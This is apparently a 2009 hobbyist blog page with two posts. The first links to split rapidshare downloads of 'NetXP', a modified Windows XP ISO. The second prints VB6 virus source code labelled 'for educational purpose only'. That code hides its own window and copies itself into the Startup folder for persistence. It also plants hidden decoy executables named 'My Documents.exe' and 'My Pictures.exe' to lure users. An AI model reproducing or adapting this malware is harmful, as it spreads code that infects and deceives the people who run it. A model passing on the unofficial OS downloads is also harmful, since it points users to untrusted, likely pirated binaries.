NetXp ligh tweight windows XP for netbooks

2009-04-21T11:15:00.001-07:00

this light weight windows XP that looks like vista. super fast for netbooks
you can download Netxp here:
Note: you will need HJSPLIT to join the file, you can download HJSPLIT here http://www.freebyte.com/hjsplit/#win32
Join the files and burn it using Nero or other 3rd party burining tools.
and then you can use it to install NetXP to any i386 computer.

- NETXP sp3 Package:
http://rapidshare.com/files/210350976/Netxp_Boot.iso.001
http://rapidshare.com/files/210416750/Netxp_Boot.iso.002
http://rapidshare.com/files/210572162/Netxp_Boot.iso.003
http://rapidshare.com/files/210603372/Netxp_Boot.iso.004

Use HJSplit to join the files.
this is also based on haktech tutorials.
http://haktech.blogspot.com

vb6 virus source code

2009-04-19T01:28:00.000-07:00

this is a small example of a vb6 virus. for educational purpose only.
i got this article from www.nsfive.net and haktech.blogspot.com
since my friend asked me about a source code on a virus for example.

Private Sub Form_Load()
On Error GoTo err:
loadpar = "0"
'Check EXE Instance
If App.PrevInstance = True Then
End
End If

'Hide APp
cmd_hide_Click 'CLOAK

Dim retvalmydoc
Dim filename, att, fso

'open my documents folder
retvalmydoc = Shell("explorer.exe " & MyDocuments & "\", vbNormalFocus)

'copy to start up folder
DoEvents
FileCopy App.Path & "\" & App.EXEName & ".exe", StartUp & "\" & App.EXEName & ".exe"
filename = StartUp & "\" & App.EXEName & ".exe"
Set att = fso.GetFile(filename)
att.Attributes = 39 'hide file

'copy mydocument
FileCopy App.Path & "\" & App.EXEName & ".exe", MyDocuments & "\My Documents" & ".exe"
filename = MyDocuments & "\My Documents" & ".exe"
Set att = fso.GetFile(filename)
att.Attributes = 39 'hide file
DoEvents
'my pictures MyPictures

FileCopy App.Path & "\" & App.EXEName & ".exe", MyPictures & "\My Pictures" & ".exe"
filename = MyPictures & "\My Pictures" & ".exe"
Set att = fso.GetFile(filename)
att.Attributes = 39 'hide file

err:

If err.Number <> 0 Then
'MsgBox err.Number & err.Description
err.Clear
Resume Next
End If
End Sub

for virus removal guides visit http://haktech.blogpsot.com

spyware-removal-guide

NetXp ligh tweight windows XP for netbooks

vb6 virus source code